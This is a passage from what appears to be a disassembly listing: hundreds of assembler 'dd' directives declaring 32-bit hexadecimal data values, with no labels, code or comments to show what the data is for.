		dd 0A618E77Ch, 3D402176h, 0FA2331B2h, 0BAE90159h, 0AC2F0270h
		dd 3DADC7h, 552A7152h, 0F6467A00h, 0EAFF2B22h, 0F89E000Dh
		dd 1F2673C9h, 21703442h, 0A1EFC402h, 0A194F3C8h, 0FB233AA0h
		dd 3715C9BEh, 1161C4F5h, 7D4F76Eh, 890BE6h, 7665B129h
		dd 0B28C44C4h, 0FFF9AD00h, 0D22854DCh, 92E71203h, 1F1C609Dh
		dd 0C30731CAh, 1F0A81Bh, 80400715h, 0E94F8E77h,	30B715Fh
		dd 9CE337D4h, 78A79E39h, 80212E26h, 6E7A5001h, 8448CC78h
		dd 20C206D4h, 300D6599h, 0D44F1028h, 0A2FCB354h, 39064907h
		dd 0BAF03197h, 54960Fh,	94919AA9h, 3B9F2974h, 30EECB24h
		dd 0BC2A481Fh, 4C49E724h, 401D4207h, 66906B56h,	0D9287916h
		dd 0C8083D00h, 0B7603152h, 72800068h, 65AD7A1Dh, 0C90F1EDEh
		dd 0D48C213Ah, 5EA100ECh, 79345F81h, 1D5B00F7h,	7611CD23h
		dd 12129672h, 3C00CE53h, 8C85E201h, 0D1740F67h,	0A2717E3h
		dd 4EBE633Bh, 0C144852h, 0E84B6B34h, 0C8A749E4h, 0DC944F00h
		dd 260F1A5Dh, 0C341D707h, 0A9C14B30h, 0BC50529Ch, 141E443Eh
		dd 9CF9B8BEh, 487CE718h, 0B8AA59B2h, 3A188814h,	0C8F9C5D5h
		dd 0EB49C465h, 4B248064h, 9E31BE2Ch, 0EAEE389Bh, 0F041B312h
		dd 94B09259h, 0FF0D0803h, 3F210F2Bh, 9B600F42h,	0F1A03EABh
		dd 0B6078071h, 6B9C701Dh, 0FCACF671h, 0A1799098h, 33414B20h
		dd 983A5185h, 5DB04FC1h, 4A880AA1h, 5A90F0F4h, 0CEB1B24h
		dd 0B9443C83h, 9AC108E8h, 3A059CA2h, 0E827F02Ch, 4C18F886h
		dd 0EE8048E4h, 8005AF69h, 0E0887933h, 0C8782490h, 0D001BCA0h
		dd 5CBCAEA6h, 188813Eh,	4E90E08Dh, 3080A9BDh, 0F873DB16h
		dd 2801F334h, 0B40FC213h, 799EE62Ch, 9FA84018h,	77B078A9h
		dd 0BA05B2F4h, 14290CFh, 0A084C840h, 28B13D86h,	77EA5CE2h
		dd 0FB93005Dh, 75A5F65h, 104D233Eh, 1D942290h, 0C0D7366Eh
		dd 5A61B2F5h, 0B524BBAEh, 0E1DF43Ch, 218094A4h,	0CA6B05F4h
		dd 0CFEF016Eh, 475CE4B2h, 0A478529Dh, 0F1C5F820h, 2A4A000Fh
		dd 382671D5h, 8D006F45h, 220DE8A9h, 7BB98A3h, 0E3D833B8h
		dd 0E34AAB4h, 1301C0h, 0C5A5B5BEh, 5B000228h, 0D6F1DF0h
		dd 0F5C3B0A1h, 263A6030h, 40B0D41Fh, 52D5D1FCh,	13804C49h
		dd 4C40ECE0h, 87C829F8h, 50A000Bh, 7AFCA899h, 9C1E3CB9h
		dd 465C4A84h, 9F611FC2h, 579C485Ah, 80F493ECh, 7D1DE89Bh
		dd 0D860DB4Ch, 98BA6EE9h, 0DE6658D9h, 7F5CEA0Fh, 2118BB47h
		dd 2268B3FEh, 328B00D8h, 0A1097ADh, 0B91E0CA7h,	0CCA8F348h
		dd 0B01670B2h, 0A8218551h, 0C500EEDAh, 0DD008214h, 0D6345AC2h
		dd 0E3443Fh, 0F124CA19h, 0F37F2597h, 7A39A143h,	40ED161Ch
		dd 5085AB73h, 0AD392055h, 931289D8h, 208896Fh, 249F8EDCh
		dd 0AC05DF2h, 0DFA85715h, 0D4F55934h, 0CF33C09Dh, 41DBDE35h
		dd 0C1B2DF03h, 0A8FB0229h, 0B2B8C93Ah, 31A26080h, 847DD68Ch
		dd 2D26907h, 1A40C52Fh,	48FD7C81h, 0A0023D7h, 533D015Ch
		dd 94A8D39Bh, 0A801F449h, 3ADEE69Eh, 0F054CA70h, 0BDA6AC90h
		dd 4B61C0BFh, 0BBF2C13Eh, 0F3C31F1Dh, 0EB89CC64h, 28648D10h
		dd 361C7C27h, 4D838145h, 0FA239B51h, 3BB464E0h,	69F12A34h
		dd 0C5BDE881h, 44D610F1h, 0F02D05E0h, 81E77Bh, 2E560D94h
		dd 611E8751h, 0D414D503h, 0A408034h, 71FBE3AEh,	0DA67319Ch
		dd 1793E450h, 0C386B393h, 4E1918BEh, 91D658C3h,	77DD9603h
		dd 0A8A150A0h, 4BF353h,	5FE62BFEh, 0E8AAB3AEh, 9498F826h
		dd 20349E8Fh, 0E25D72C2h
		dd 8670B10Fh, 60989BC8h, 80A8EB4Dh, 0ABBE2E78h,	7C4600F2h
		dd 6D49CA62h, 760BAADAh, 0A8ED1F8Fh, 2060E440h,	6CB2B8h
		dd 310313D1h, 5E532E12h, 4D2A27Eh, 64E4BC22h, 8A750E98h
		dd 0FD6CDD5Eh, 3505B281h, 0CBD873B0h, 0F372F441h, 902280B1h
		dd 2988DF03h, 0DAD0CA56h, 0AAFEC228h, 3A17E092h, 9853B32Ah
		dd 0D0D6DC30h, 60C41E29h, 4B4040AAh, 28CAC78Ch,	0A4F7FB01h
		dd 0D0480245h, 44B06180h, 8376A84Eh, 0A6D4F150h, 8427D82Eh
		dd 842AA986h, 0AD6B0519h, 0C8DD2690h, 4820CA30h, 0BC995233h
		dd 5FF1E405h, 88DC8886h, 380FFA7Dh, 1080C75h, 77E6B3E3h
		dd 763A8040h, 12D8BA3Ch, 5DA968C8h, 41D0AE14h, 0C0B0C07Fh
		dd 23391299h, 59C0FE6Eh, 4813503h, 0D3C10128h, 1ED46D30h
		dd 0A8B8439Ah, 69A54900h, 0E6F8B4A6h, 96DC00F9h, 6FC8D79Eh
		dd 5519C4Eh, 1280DC98h,	0D818D4B9h, 28FB79h, 0E8E6D3Fh
		dd 3A83252Ah, 33658900h, 0D045C55h, 0B4E84CDDh,	448CF62Ch
		dd 0FEB131F3h, 0F01CC217h, 88090CEh, 2A02CF69h,	0CE98B159h
		dd 4C4C4E1h, 0F5144278h, 0E8C9036h, 0EF03635Bh,	5DE76BA6h
		dd 4234E092h, 0E6A4A29Ch, 75030030h, 0EC0EC21h,	4A00452Dh
		dd 0F80AD0B0h, 0F6AFF5C1h, 0A018900Dh, 0C447C2Ch, 35FFB280h
		dd 5A003969h, 0BE664DB8h, 134AF38Bh, 619D15E6h,	7093FDBCh
		dd 51007FEDh, 2FFE0989h, 75B6F25Dh, 0BA94F277h,	1A5000F4h
		dd 5E9B6F18h, 8B490FBBh, 0F55D14A0h, 0B2178094h, 127FCEh
		dd 7D8267BAh, 0EA2D1832h, 0D280C4B3h, 0C47E05EFh, 68301D64h
		dd 0E5F39450h, 51F91632h, 87E89BC0h, 5A685401h,	79D16667h
		dd 5455F824h, 2044CCD7h, 0E099212Eh, 825ED080h,	203E433h
		dd 6D7E2530h, 0EC84F55Fh, 0CC388804h, 3F428900h, 8DC6B672h
		dd 0E25F248Eh, 0D8B78E84h, 98042690h, 0AA1FB540h, 15DF124Ah
		dd 0C402EF12h, 0E4615FB8h, 93C3005Ch, 1545567Bh, 4D00A41Ch
		dd 6DEEF57h, 4D6FD9C0h,	4B128437h, 48660F13h, 0FC810FC9h
		dd 0BDF5273Ah, 4086299h, 71D0A0C0h, 22AD0Eh, 0B259A2ACh
		dd 0A74C957h, 0D95A020Bh, 0B188005h, 0A2B576ADh, 1ED8CC80h
		dd 687151C2h, 0A93317CAh, 686054F0h, 8200511h, 3BD4AB9Ah
		dd 6C003925h, 0EFBE7A5Ch, 56A8F109h, 1631801Eh,	1942F61h
		dd 8D77DA19h, 94C41FB2h, 80DCCBD0h, 1B0EDFB3h, 242A005Fh
		dd 0B7BB992Bh, 4C02CB48h, 0E93E269Bh, 0A6A8539Dh, 4B413024h
		dd 7B1F2367h, 8AC01984h, 420F73B3h, 0B5A3023Ch,	9866E61Ah
		dd 73403h, 1EBD4BF1h, 4F2F9358h, 0EBA25615h, 0A85911E4h
		dd 3200C448h, 5223CD95h, 14549348h, 0AA00D480h,	928C13A8h
		dd 3AD764h, 0F395020Bh,	0E06AC091h, 0E8C70E3h, 1C17B4B1h
		dd 0F70300BFh, 248828A8h, 0B8B1201h, 51A68FAFh,	8C5DF028h
		dd 0AC3E1D80h, 0E5248452h, 406F744Ah, 828DC2D3h, 60BB0757h
		dd 90810ACEh, 0D76E95C8h, 0D8E97624h, 5181A7E0h, 5BCA0E7Ch
		dd 0C88076DBh, 6CA90271h, 74541124h, 8C902944h,	83959Bh
		dd 0B4F178C7h, 7F286107h, 0E699900h, 4903125Ch,	0FDBE3241h
		dd 0F920A7B0h, 7C8D4C64h, 0E0E3009Fh, 2C8BFC6Dh, 534EE432h
		dd 0C07BCC0Ah, 0F6778440h, 1584999Ah, 2C08C010h, 3C283346h
		dd 2A033084h, 2F5EC4E8h, 128FA023h, 851E0AC7h, 29CC1789h
		dd 61B39254h, 7557A68Ch, 3FBC26C0h, 7ABB83DAh, 0FCD8F40Ah
		dd 1481CCC4h, 5E08A1A5h, 0D049E268h, 1528C8C9h,	0C4AC0018h
		dd 0AD5BCE6Ah, 200E22F1h, 387B422Eh, 0C0BC0E38h, 0E22DD279h
		dd 1C131076h, 24C2FF68h, 7DF28A5Dh, 9ED6093Bh, 0DE7C40B1h
		dd 6EC880B0h, 21C33E20h, 3C2E2C3Ah, 0D6C5E240h,	182100A6h
		dd 28BF80B0h, 0D8E48138h, 0C2694EF0h, 13408588h, 0AC00708Ah
		dd 0E4666215h, 4EEC2923h, 0A047D900h, 3118E072h, 0F0C76EE1h
		dd 0C4D600B1h, 5A8FD8CBh, 77AC0F01h, 353CCF2h, 0D922B250h
		dd 0D109597Eh, 541348h,	6ACE5E1Dh, 42C09E98h, 0D0A0A304h
		dd 3ECF638Ch, 8466DB03h, 1047A910h, 824165F9h, 3B215332h
		dd 60934FD8h, 9BFAB574h, 0C1DE2F00h, 61A3245Bh,	345A4464h
		dd 0B284BCB3h, 88F32E28h, 0F4C8BD01h, 70264354h, 30C3B578h
		dd 0B821EB2h, 0CFEEA629h, 0DE4B80A2h, 0A8B4A486h, 0AB606498h
		dd 27A2CE61h, 0C5012864h, 284200F1h, 0A9B38B82h, 89C4A802h
		dd 88A6EA93h, 58104100h, 9A7F3A60h, 0D4D0FA13h,	480FC95h
		dd 1866D143h, 9190C7FEh, 3101F9B7h, 6E0CAC62h, 0B0491B41h
		dd 9041BDC7h, 0A6A50FDFh, 1687F8h, 0A344A437h, 0E0B1B28Ch
		dd 11FC6502h, 0D19B9EAFh, 436B9D34h, 0B6B05B3Eh, 0A2598002h
		dd 0B43DAB51h, 0B2048084h, 52C910Dh, 0AC4D01h, 142A7370h
		dd 0BE0426AEh, 2D99575Dh, 54DC2CA0h, 0FBEC3Ah, 51F35AD9h
		dd 1DDB86C4h, 5FF71100h, 36A3A22h, 0D2515FBh, 0A11D80FFh
		dd 0F51E4001h, 13D96638h, 3F7F44Ch, 0F50026Ah, 74D053ACh
		dd 1D6812Eh, 3418B459h,	0F37B30A7h, 6BBCA800h, 0EA2BBD7h
		dd 2CB299h, 0FDDB62FEh,	35632D48h, 87B1AA3Eh, 0C05A0193h
		dd 0C81467A2h, 168F73C8h, 5448536Fh, 7A002468h,	744E2077h
		dd 355C2DCh, 3A8C70CCh,	286B0926h, 4155990h, 61008055h
		dd 8F39815h, 5100600Dh,	38B9744Fh, 6A94D342h, 60C4C8DDh
		dd 0A738983h, 2A10403h,	8A4BDCD9h, 12C44E6h, 6729ECA4h
		dd 0DCA38096h, 5C1FE556h, 8906A688h, 3A20BBCBh,	61805862h
		dd 5638FB4h, 0D401BC3Eh, 0E96F0114h, 30807D64h,	4D87DF29h
		dd 6E6770D1h, 318A718h,	838BFD1Ah, 0C6E443E8h, 42715300h
		dd 0CE79A412h, 3E621836h, 5A768F2h, 0FC004B70h,	0F392A9B5h
		dd 7397CDE6h, 0CEAFE35h, 5B52FBA7h, 0E018DB58h,	35386821h
		dd 0CF200BAh, 3301C6D9h, 523BE90Bh, 20C1F434h, 6104FCC7h
		dd 0B03D3880h, 1AF77D3Bh, 307C58B7h, 46290B2Fh,	396E095Ch
		dd 19796DB9h, 0DDEACCE0h, 305003D2h, 180CE859h,	2065A09Ch
		dd 0DA6E02ECh, 71885B23h, 0D9298081h, 90418014h, 0A579075Ch
		dd 8E9A0E0Ah, 26A42B3h,	315206C0h, 9C282917h, 0B9F828C7h
		dd 0D4D84CA3h, 2C7E7F1Fh, 462A420Fh, 29B19FEBh,	1D28231h
		dd 5053B9BAh, 0C1306990h, 0EA3D6D1Eh, 0C47AAE40h, 2EAC719Eh
		dd 22B9432Ah, 0ECE1C0A8h, 691A34A5h, 827CB0Bh, 9C548120h
		dd 21850DC2h, 2776A854h, 113C088h, 29C756EBh, 1FB1400Dh
		dd 20813476h, 200A576Ch, 95A440EAh, 13883A4Eh, 118927Eh
		dd 1BE52D78h, 0E403801Dh, 42035445h, 5546FBC0h,	0B330390Bh
		dd 3AC42880h, 5BF2FABAh, 31E2493Ch, 273E2034h, 0D3372981h
		dd 0CBE43F92h, 89481830h, 0F3CB6Eh, 0A1DA8FBh, 0C467B54Dh
		dd 6659ACA8h, 0DD17500h, 0BFE24457h, 43A10E1Bh,	3180C706h
		dd 88B95DDh, 0CC5B50CAh, 6C31580h, 9E11FDCh, 3D0A47DEh
		dd 94B5302Eh, 40B6361Eh, 0AF92FDFBh, 0E0639D08h, 0A157A118h
		dd 0F45465B8h, 9F09181Eh, 0C2B801A5h, 0B9805143h, 856AD4F4h
		dd 0EE03FFBCh, 8E26C61Fh, 0F8DEE88Fh, 0F5D912A5h, 59341974h
		dd 0D8FC48FBh, 0CA732407h, 0C6907876h, 23DA454h, 0C9D29DB6h
		dd 1C418113h, 14899F4Bh, 504932A1h, 0FC059120h,	0C4AE09CFh
		dd 680A64Ah, 0E01D6C77h, 33D8E101h, 602E9EDBh, 0DD5E8041h
		dd 0A70A4C22h, 83983FCEh, 4DD421CCh, 2309F3B8h,	39A88954h
		dd 143A40h, 5AB9A49Ah, 2F7C930Bh, 7DEC801Ch, 11FD3800h
		dd 0A09C5B89h, 0A8C364D8h
		dd 624BDCh, 4F77838Ch, 2E0CC7E8h, 0D4F6AA0Eh, 5F34C057h
		dd 1DF2F5E2h, 217741h, 0CE5B04E1h, 703FC2Eh, 737F40C2h
		dd 0E2080770h, 407C09CCh, 4D53A42Ch, 7E93E818h,	356E118h
		dd 6641F580h, 7FA0B84Ch, 6A005EBBh, 7A781BA4h, 0F8F17370h
		dd 54FB245Fh, 81CC1FFEh, 0BE83BA2Fh, 46498087h,	9F34173Fh
		dd 8D2600ADh, 6B3DCB40h, 0A0C785EFh, 0E3F6FD86h, 60F17C60h
		dd 2A78983Ah, 8A00D476h, 9E95F89Fh, 7899454Fh, 0E1A40EF2h
		dd 0F3DA3B1h, 1B807ACCh, 52FB702h, 2A9A4D1Ch, 60F2F7C0h
		dd 7B102943h, 0DE5C18FFh, 3BB89037h, 0C4108C0h,	68083Fh
		dd 1CAFE98h, 0F360A84Ah, 0EE3EAA00h, 0F505CB5Bh, 6880F3B8h
		dd 8BDBEA41h, 0CE0C04E8h, 4871B762h, 2CB0C0BCh,	91D5AA31h
		dd 1F3D880Ch, 1B9D0BDh,	68AB2EF2h, 0C0AA2FA1h, 21281DDEh
		dd 6630D029h, 4F9F932h,	0E8FF3B6Bh, 6336400h, 0E7B1BBB4h
		dd 0BF18DF00h, 3651C4D5h, 0E00086E2h, 0BB66C261h, 0C03D5DDAh
		dd 76B754CCh, 491594A3h, 8B0DC21h, 6F5B6B8h, 41A1DE73h
		dd 84A806F6h, 3004671h,	284750A6h, 1081511h, 0C63574F9h
		dd 847B41BBh, 1894B848h, 32DA4D00h, 6F023052h, 0D97DA428h
		dd 8A02409Ch, 0D0B52686h, 0C1870081h, 0C0951EC5h, 99B4D41Dh
		dd 7C5F073Ch, 4A702DD7h, 7C4881C2h, 1E24009Fh, 5404C9A0h
		dd 763C3AE5h, 0A1617C1Dh, 40F8D918h, 0B2B71082h, 2740DF27h
		dd 0BD3C05F0h, 0ECDD0B24h, 0DA6A8026h, 0F0D93242h, 2CE6008Ch
		dd 0C0A27405h, 0BC60F156h, 0FE56A90h, 50536FE8h, 9828D686h
		dd 0F1118AF9h, 420A14EDh, 0E0404481h, 795DFAA4h, 60AF6083h
		dd 7EF8AC6h, 0DF5180F7h, 0F2F4EF9h, 2B8C454h, 0C6E021Bh
		dd 0F3B8C01Fh, 0B388A127h, 0FFD05A10h, 0CAF2F00Fh, 162E41A1h
		dd 50856636h, 62CCE0h, 6391C590h, 403DE23Ch, 0C2D783D5h
		dd 0C41F6Bh, 42DEEBB8h,	18660C54h, 0D1836Fh, 0D7782C2Ah
		dd 0B8160793h, 0D3BC5215h, 179989AEh, 80E9BDE5h, 5F808635h
		dd 166E148h, 3A9E347Ah,	98DA1BE0h, 68E04D88h, 0D038DFC3h
		dd 30720088h, 3833D715h, 4C100066h, 0C0D65EB3h,	0A600C387h
		dd 92B4CAA1h, 501A6139h, 74B8445h, 0EE63D1BCh, 7D0820E5h
		dd 5A02E4BAh, 0E1E91FC7h, 37263C2h, 69FAA999h, 94D8F96Fh
		dd 0F2145790h, 0E8761Eh, 0FE1232A5h, 0E88D62D2h, 40B432A8h
		dd 0F4901798h, 0CD0F5EEEh, 409B0D81h, 969FDA24h, 40A460F5h
		dd 0FED90374h, 2505F472h, 0E6B26B2Ah, 0B3E5A802h, 0D4F88859h
		dd 3F20551Dh, 2300DAA5h, 44E64878h, 61247C22h, 0BC4CCFh
		dd 81A7C724h, 0D0B1C2h,	0D23033D1h, 43F2D6F8h, 8E5EB71Ch
		dd 0C40AA92h, 0E8FD4C2Dh, 0DA38001Fh, 5AFA1EFBh, 0A73E924Fh
		dd 9B1E7440h, 0B80359CFh, 6177D5FDh, 85C71831h,	100693h
		dd 0C02BDFD8h, 0AA5C60ADh, 230F1218h, 0C1EF9E28h, 13BAE041h
		dd 4882071Ah, 0C37210A1h, 0C1E7FF18h, 602DB360h, 50611826h
		dd 7B60922Ah, 749BC810h, 4040C7F4h, 0D3712005h,	4B0F6567h
		dd 60ABFF91h, 4A46FACFh, 0A2160064h, 0F7EC0420h, 0DB009EF0h
		dd 0B6A6D1Dh, 0E34252Bh, 9289E4EBh, 0D43DAE40h,	0D5F0E739h
		dd 79C5AB17h, 9A02E1B8h, 8D1DF0EEh, 0D01CAAE1h,	1800B732h
		dd 7B17D7E0h, 7AAFCh, 34EA8AC0h, 840B2A21h, 2614F900h
		dd 87811DD9h, 0BB030090h, 0DBB5029Ah, 0DF18BF51h, 0EB20FD7Ch
		dd 0AA5301ADh, 45176A64h, 2E972435h, 3892DC00h,	24DF3B1Eh
		dd 0C63EE0C4h, 897A1FA0h, 8A6D1300h, 2E030E5Ah,	1B7303BEh
		dd 0C3F51688h, 9F10D8E6h, 428697E9h, 0D900382Dh, 0F141237Dh
		dd 0A192B39Eh, 0B180BC8Ch, 8F598C8Dh, 691C8ECBh, 3B00B8E3h
		dd 66A41F06h, 0E57C019Fh, 328AC778h, 0CF888A41h, 0F000ACD4h
		dd 861852A2h, 20DE0337h, 998243Fh, 25EC591Dh, 80B7740Dh
		dd 3A7CB8E0h, 0C6005FF0h, 50B17B8Fh, 2801BAD7h,	1A1F0178h
		dd 0B8823F65h, 70B52432h, 9EBC98A1h, 0C9A881E5h, 0F55B41FCh
		dd 38B086C4h, 0E06181A1h, 8DC24C24h, 8F01D70h, 66E84ECDh
		dd 24F8FB02h, 200AD89Bh, 9160146Dh, 0BAFE3250h,	0C27985h
		dd 7D1FEAC0h, 0A6426487h, 26E8403h, 198F9B46h, 0D91CA360h
		dd 462903E5h, 54448858h, 67D70068h, 49FAEB3Eh, 47646D6h
		dd 0A956D8C5h, 22D9A400h, 1EAE5BDEh, 80792D0Eh,	50981A81h
		dd 4B61C8DFh, 8C1D668h,	65503F0h, 41215A9Ch, 3401B9DEh
		dd 0DC8529B0h, 308FDFE2h, 38EF957Dh, 5C5D9FE0h,	689173F0h
		dd 0D51CD411h, 0C681B711h, 9FF9D1CBh, 29B0F211h, 0C0222092h
		dd 0A6964719h, 0AA036541h, 7C60F557h, 0A524E223h, 0FC1811ACh
		dd 2AC71A48h, 14C81F2Ch, 304C8079h, 0BD7F720Fh,	2E461198h
		dd 7D9ED826h, 3118811Fh, 72C16A19h, 628A006Ch, 0B0239DEBh
		dd 3E786044h, 14198203h, 88CFC98h, 0FD7D9F60h, 795CBC14h
		dd 0CA934A00h, 1372970Dh, 0C8DC059Ch, 144D7331h, 0AA00D8D4h
		dd 622F64B0h, 80EA616h,	0CCBE40ACh, 0C15658FEh,	0F44FD9C1h
		dd 8A7FC888h, 30C371C9h, 18647D30h, 311A21E9h, 6DEE0A04h
		dd 0A9948000h, 3CF0CF13h, 1D9E0671h, 60F3235Dh,	6A0DD900h
		dd 4324CE80h, 0C05820B6h, 0A1143906h, 4EC8F1BFh, 242ACB2h
		dd 0BDCEE178h, 6DFC8004h, 57A52C5h, 4A439517h, 25C4087Fh
		dd 445614h, 641BB7F3h, 5E8A97h,	0C87301CCh, 0AC89443Fh
		dd 0ECFC3100h, 2647741Dh, 0A1044C62h, 1A605830h, 94A2C041h
		dd 0C8AA8430h, 0C311F60Ch, 2416F8EEh, 4228E09Fh, 5C10D243h
		dd 7433864Ch, 8F9B1176h, 0C6EA5890h, 98F0D40Bh,	7349D38Ch
		dd 77E03Ch, 42319FDh, 0FECC0FEh, 83F4D805h, 0EA087FABh
		dd 0D168AF8h, 0C8E8A0FCh, 6680EB49h, 0AA90CEC5h, 7A8E757Dh
		dd 505828DEh, 99FF294h,	2179298Bh, 0A9BC5823h, 0ED5C3900h
		dd 31A14C65h, 24520C5Eh, 66C80102h, 342684A1h, 354D1578h
		dd 2D170150h, 0B13693AAh, 0E588C0h, 0E94D9B31h,	82E342A2h
		dd 0D38C803Ch, 3BE205A4h, 0E4865CA8h, 4D742A90h, 15EE0090h
		dd 72A0436Ch, 0CE1387C6h, 0A854CC0Fh, 0C7F3110Ch, 35FC0700h
		dd 0BE453094h, 0B3497C62h, 8C1B00F8h, 0A3002C43h, 0AA3CF440h
		dd 20ADFADh, 0F27A962h,	0F4845C2Dh, 1FC488BCh, 0C4C86702h
		dd 0A90DF944h, 0D71011FCh, 145CC7D0h, 8448FAB1h, 253A6D03h
		dd 83D040F9h, 491B286h,	9933E207h, 0BC0F1E40h, 0EFAE00E9h
		dd 0E60BC7A1h, 74129F80h, 74408A34h, 0FAD35FA0h, 248CA83Ah
		dd 0EBC9C47Fh, 15F50025h, 0EADBCE83h, 0EF62A0Dh, 1E498D4h
		dd 0D3482433h, 0A47BE417h, 5C246438h, 415D1FC4h, 0A2B5EA9h
		dd 32F4ED0Dh, 50972CE4h, 78D87DE0h, 59903AB9h, 0E8412FB0h
		dd 0BBE0C158h, 1C133Ch,	0A4FAE36Bh, 1D44D2E4h, 2E09F6C5h
		dd 1808303Eh, 2AE0E55Eh, 9F0097E8h, 363DBC6Ch, 85FD71h
		dd 729C1BBFh, 64327C0Dh, 0AB4830DBh, 5CF680F0h,	70424065h
		dd 0D318E17Ch, 1868EB8Fh, 18D17C7Fh, 39D64E75h,	0F737D372h
		dd 4B86180Ch, 48751438h, 3C0C1053h, 5040FD06h, 36CF850Fh
		dd 0EA332058h, 2C1DC92Fh, 6966222h, 70E63842h, 0F03CE542h
		dd 0B8440740h, 5F9C30D7h, 2D06AB51h, 8FB618C0h,	786E13h
		dd 5691B00Ah, 0C9A367Dh, 0E2B74001h, 1BDD9635h,	0DE642841h
		dd 0F2D87911h, 7BCE8080h, 94005AAEh, 0B6BB543Bh, 56EDB35h
		dd 78D3A5B0h, 20B840DCh, 4F2FD119h, 54CBC42Ch, 0F88B460Ch
		dd 2ADAEA38h, 7FCC0E56h
		dd 0DFC40102h, 3CA94BEFh, 1F1980E2h, 4921AC15h,	0CB1E0AFAh
		dd 86C44BA3h, 41C2AE31h, 0FEEC8DF2h, 70AC690Ah,	4B00409Dh
		dd 1CB15A76h, 0C2EB00A1h, 5501568Dh, 2F0A8E67h,	90733561h
		dd 0D791080h, 6F075Bh, 0BC92CFAFh, 76BF34D1h, 0FDA9590Ah
		dd 180B8EBh, 0AF7C3EEEh, 2808C0E9h, 347104E0h, 73597E1Eh
		dd 46479607h, 0F8D5EFC3h, 30BC1AFh, 995352DBh, 0C0A863F9h
		dd 6A003A15h, 39AD01FCh, 0E3C7FA7h, 2DDF3EEFh, 48089686h
		dd 0B4B44h, 4D63FBE0h, 614EC8DBh, 0AFB6CE00h, 17D1B514h
		dd 887F09A3h, 6080B1F7h, 77FC0CE4h, 0F4A1D660h,	0C331C329h
		dd 4ACA0F60h, 0B8B71800h, 0D3A282F8h, 296700D4h, 0DF36BB14h
		dd 0EB19C21Ah, 1BE98F69h, 10E70C10h, 0E57BD800h, 80EB1305h
		dd 0D06B00FFh, 2518F1C8h, 9F039C3Eh, 0B029F349h, 1A3900F6h
		dd 3014A0F4h, 0E300A4B6h, 0C898388Bh, 148A719h,	7207867Fh
		dd 0D0FFE628h, 0B862BFFDh, 8C4FEF10h, 0D8B884h,	0AF6C497Dh
		dd 0C8299094h, 0CF385300h, 1B37DBBCh, 0CC9706E9h, 308072FBh
		dd 0D282D919h, 588CE381h, 0C91164AFh, 0DE000AFCh, 2043818Eh
		dd 15672449h, 0BC9FEF27h, 9781FF32h, 208F2161h,	0D706A811h
		dd 0EC3D6DFBh, 0A6880E48h, 998ED872h, 0AB3521Dh, 4E0080Ch
		dd 90F50793h, 58474C14h, 0DD56FB06h, 74607FA2h,	83EE80A4h
		dd 50E3FF07h, 7A10C933h, 29058DE7h, 14728Eh, 97191CF2h
		dd 11010B04h, 5F367630h, 37ED266Ch, 0C6807CFh, 9050CF9Bh
		dd 392F86FDh, 0A91EBB01h, 4923BCB2h, 200F9192h,	4010CC60h
		dd 0DFC9BF00h, 21B5349Eh, 104B8968h, 0B0B4481Eh, 0A188007Fh
		dd 0A7C47818h, 0EA31FEB5h, 22AFD1C1h, 8BD0AC57h, 7E7B02h
		dd 0D0E171BAh, 0F5EBF187h, 0C2539609h, 0FE54218Ah, 0B8406E74h
		dd 393D343Eh, 3A1405BAh, 4F84A026h, 0DF5890DBh,	6D02C1AEh
		dd 0AC6587EEh, 0D78FC0F5h, 7CB80024h, 4350A560h, 28070B06h
		dd 1FC6588Fh, 4F36F250h, 0FD98C20Eh, 2449AB76h,	0F4088A93h
		dd 0F0C3078h, 7C0850h, 8F56C29Ah, 301B4A1Ah, 2F3FEE03h
		dd 8AAD3D28h, 0A9D040BAh, 0A00354E7h, 0ABDF90FDh, 0C0C1E114h
		dd 605C19AAh, 862261D9h, 300532Ah, 0A820141Ah, 0AB20537h
		dd 468E21CEh, 55070744h, 527B40BEh, 283D38A4h, 0CF9780FDh
		dd 0CC196691h, 516C0956h, 3C90E254h, 760E87DBh,	2A9F4FF8h
		dd 920AD82Ah, 120044B2h, 0D73FDA4h, 28F1FE77h, 28D3DD31h
		dd 18AC10h, 14DEE854h, 0B164BC4Ah, 0D9C450E7h, 49C6F483h
		dd 0D94596h, 6C3316B0h,	0B72340D8h, 782B5304h, 5484D07Eh
		dd 0F068DC61h, 9064C8h,	764EF2D9h, 9FF966CFh, 99CCFC1Eh
		dd 273FBC82h, 7AC8843Eh, 20823894h, 0D444E1h, 0DA782DD2h
		dd 5BF14B15h, 1A99AC0Ch, 0AD4A087h, 410E73FEh, 16D88C0h
		dd 8080AF94h, 2C949C1Ah, 0F1009AC0h, 0EE4A5C10h, 712C09B0h
		dd 393237CDh, 8091208Dh, 5600D9EEh, 71992304h, 60F0938Fh
		dd 3C4A7408h, 0D499ED48h, 15C0D2BFh, 7780954Fh,	32F76200h
		dd 43974757h, 0A1E0E61Ah, 344577ACh, 49C44408h,	0A0B01810h
		dd 62E76006h, 186193B3h, 2830F746h, 0B105E62Fh,	0D820456Bh
		dd 6631A400h, 8A05CA1h,	50192372h, 7F617C00h, 76734145h
		dd 812E3FEAh, 84069300h, 8D83C5CBh, 58A9C60Ch, 14B33127h
		dd 489E80F3h, 14010322h, 97C79F07h, 0F450A328h,	4E2F124h
		dd 0F6A7550Eh, 698C895h, 38F9F407h, 20308569h, 3C3058Eh
		dd 9EB177B4h, 11F003EEh, 0AE0F446Ah, 3D4E84Ch, 0F0AA61A3h
		dd 0E6220Dh, 5334E733h,	8E661584h, 619B13Ah, 92CA9623h
		dd 0EC430008h, 6318148Fh, 0C67789CBh, 118A1200h, 0A3E085DFh
		dd 38680148h, 0D323674Ch, 0E21D708Eh, 0F4E0FF7Fh, 820FAC00h
		dd 13EBCD75h, 7430099h,	0D118D612h, 67F0E356h, 60207761h
		dd 0B303E291h, 24AD2CF8h, 0B80E37FAh, 639459ECh, 6114D6Eh
		dd 301E43A1h, 7D0040ACh, 3E79B72Eh, 0B0C357DCh,	0E4FE3AD9h
		dd 0A06A3680h, 0D0DE0FE6h, 6D7DE202h, 87F0ED67h, 25C07A74h
		dd 61AE91h, 3DEF2F95h, 80518737h, 5BDAAB1Ch, 49409B41h
		dd 6CC81C52h, 7037867h,	645DCE73h, 0A43AC8h, 3534600Fh
		dd 9630369Bh, 0D4846882h, 8E070C57h, 9711E2Bh, 0D7B6A101h
		dd 9589A662h, 8EA0C080h, 727DFF9Ah, 836E5807h, 9313E7FEh
		dd 3DC2A331h, 700C0FF1h, 0A310F742h, 5637648h, 384826A2h
		dd 0F303E003h, 743101E5h, 0AB65A64h, 6CACF4FDh,	7A84EF00h
		dd 4E99807Bh, 60DF0050h, 0D90940F6h, 1101A3E1h,	80D8C6B6h
